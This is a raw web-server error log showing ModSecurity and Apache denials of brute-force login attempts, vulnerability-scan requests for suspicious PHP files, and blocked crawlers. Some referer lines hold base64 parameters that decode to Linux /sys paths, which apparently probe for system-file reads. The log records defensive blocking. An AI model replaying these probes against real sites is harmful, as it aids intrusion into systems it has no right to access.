148.113.209.179:59432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w0MTA7b1mZrmcA-8KeQAAAkY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:44.608134 2026] [security2:error] [pid 531797:tid 532105] [client 20.151.217.54:58151] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/spire.php"] [unique_id "ai3w0MTA7b1mZrmcA-8KgAAAAn4"] [Sat Jun 13 18:07:44.708028 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.7:56693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:44.708504 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.7:56693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:44.718691 2026] [security2:error] [pid 531797:tid 531911] [remote 17.22.245.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0MTA7b1mZrmcA-8KhQACUi8"] [Sat Jun 13 18:07:44.774718 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:07:44.774989 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:07:44.784295 2026] [security2:error] [pid 531155:tid 531334] [client 20.151.217.54:48595] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/cxl.php"] [unique_id "ai3w0CmiP80klyS0NnrmYwAAATs"] [Sat Jun 13 18:07:44.847935 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.82:21648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:44.848208 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.82:21648] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:44.869586 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:44.870031 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2xpYmF0YQ== [Sat Jun 13 18:07:44.886761 2026] [security2:error] [pid 531155:tid 531332] [client 20.151.217.54:58167] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/auto.php"] [unique_id "ai3w0CmiP80klyS0NnrmZQAAATk"] [Sat Jun 13 18:07:44.916610 2026] [security2:error] [pid 531797:tid 531937] [remote 17.241.219.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0MTA7b1mZrmcA-8KjgACPkk"] [Sat Jun 13 18:07:45.014968 2026] [autoindex:error] [pid 531797:tid 532023] [client 43.131.9.247:43544] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:07:45.040035 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.100:29957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:45.040487 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.100:29957] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:45.070433 2026] [security2:error] [pid 531797:tid 532010] [client 148.113.209.179:59434] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KkwAAAiI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:45.189057 2026] [security2:error] [pid 531797:tid 532027] [client 20.151.217.54:61821] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/twinklingly.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KlgAAAjM"] [Sat Jun 13 18:07:45.216638 2026] [security2:error] [pid 531155:tid 531211] [remote 17.241.227.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0SmiP80klyS0NnrmawABdzc"] [Sat Jun 13 18:07:45.292840 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpzY3JvbGxsb2NrL2RldmljZQ== [Sat Jun 13 18:07:45.293264 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpzY3JvbGxsb2NrL2RldmljZQ== [Sat Jun 13 18:07:45.298003 2026] [security2:error] [pid 531155:tid 531305] [client 148.113.209.179:59444] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w0SmiP80klyS0NnrmbQAAAR4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:45.391210 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:45.391676 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMA== [Sat Jun 13 18:07:45.431769 2026] [security2:error] [pid 531155:tid 531197] [remote 17.246.15.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0SmiP80klyS0NnrmcAABCik"] [Sat Jun 13 18:07:45.525838 2026] [security2:error] [pid 531797:tid 532024] [client 148.113.209.179:59450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KnwAAAjA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:45.533672 2026] [security2:error] [pid 531797:tid 531998] [client 191.234.188.123:8606] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/a7.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KoAAAAhY"] [Sat Jun 13 18:07:45.617844 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.6:30812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:45.618118 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.6:30812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:45.627727 2026] [security2:error] [pid 531797:tid 531891] [remote 195.142.108.235:49470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KogACZhs"], referer: https://isesurveys.ca/wp-login.php [Sat Jun 13 18:07:45.633834 2026] [security2:error] [pid 531797:tid 532061] [client 51.68.107.138:17329] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "royalcanvas.ca"] [uri "/robots.txt"] [unique_id "ai3w0cTA7b1mZrmcA-8KpAAAAlM"] [Sat Jun 13 18:07:45.633939 2026] [security2:error] [pid 531797:tid 532061] [client 51.68.107.138:17329] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "royalcanvas.ca"] [uri "/robots.txt"] [unique_id "ai3w0cTA7b1mZrmcA-8KpAAAAlM"] [Sat Jun 13 18:07:45.678547 2026] [security2:error] [pid 531797:tid 531933] [remote 17.246.23.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KpQACVUU"] [Sat Jun 13 18:07:45.689134 2026] [security2:error] [pid 531797:tid 531977] [remote 5.175.167.71:53684] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KpwACG3A"] [Sat Jun 13 18:07:45.736907 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.3:51146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:45.737183 2026] [access_compat:error] [pid 531797:tid 531988] [remote 57.141.14.3:51146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:45.745151 2026] [security2:error] [pid 531797:tid 531874] [remote 17.22.237.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0cTA7b1mZrmcA-8KqgACHQo"] [Sat Jun 13 18:07:45.808698 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAwL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:07:45.808958 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAwL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:07:45.895108 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:45.895546 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8xMg== [Sat Jun 13 18:07:45.918985 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.73:40310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:45.919441 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.73:40310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:46.308224 2026] [security2:error] [pid 531155:tid 531348] [client 20.151.217.54:58199] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.reomcawh.wmxone.com"] [uri "/12.php"] [unique_id "ai3w0imiP80klyS0NnrmgQAAAUk"] [Sat Jun 13 18:07:46.349389 2026] [security2:error] [pid 531797:tid 531974] [remote 17.246.23.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w0sTA7b1mZrmcA-8KwgACNG0"] [Sat Jun 13 18:07:46.351144 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:07:46.351439 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:07:46.415261 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:46.415530 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjk6MA== [Sat Jun 13 18:07:46.555614 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.40:40364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:46.555938 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.40:40364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:46.708752 2026] [security2:error] [pid 531155:tid 531403] [client 148.113.209.179:59452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3w0imiP80klyS0NnrmjgAAAYA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:46.738369 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.92:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:46.738647 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.92:47512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:46.866499 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:07:46.866792 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 